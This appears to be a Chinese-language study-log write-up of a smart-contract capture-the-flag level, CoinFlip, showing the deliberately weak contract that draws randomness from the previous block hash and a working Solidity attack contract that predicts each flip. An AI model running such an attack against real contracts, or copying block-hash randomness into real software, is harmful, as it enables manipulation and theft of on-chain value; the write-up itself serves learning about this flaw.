Day3 2024.09.01
題目: This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.
需要對10次,才能過關。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
想法:
-
uint256 blockValue = uint256(blockhash(block.number - 1));
取得前一個區塊的哈希值,並將其轉換為 uint256 型別。
if (lastHash == blockValue) {
revert();
}
如果 lashHash 與 blockValue 相同,則回滾,並消耗使用的gas。這是為了防止在同一區塊內重複進行猜測。
看起來能過掉過這段就可ㄧ控制下面的邏輯。
block.number
是區塊的編號,感覺這裡可以控制。
- 因為智能合約有可擴展性的優點,看起來可以呼叫智能合約話葫蘆去取得想要的 block.number。
解題:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { CoinFlip} from "../../src/4/CoinFlip.sol";
contract CoinFlipAttack {
CoinFlip orgContract;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipAddress) {
orgContract = CoinFlip(_coinFlipAddress);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 guess = blockValue / FACTOR;
bool side = guess == 1 ? true : false;
orgContract.flip(side);
}
}
攻擊模式:
- 建立一個新的智能合約,並將原本的智能合約地址傳入。
- 透過
blockhash(block.number - 1)
取得前一個區塊的哈希值,並將其轉換為 uint256 型別。 - 透過
blockValue / FACTOR
取得 0 或 1,並透過這個值來猜測。 - 透過
orgContract.flip(side)
來進行猜測。
Attacks smart contract: CoinFlipAttack.sol
POC: CoinFlip.t.sol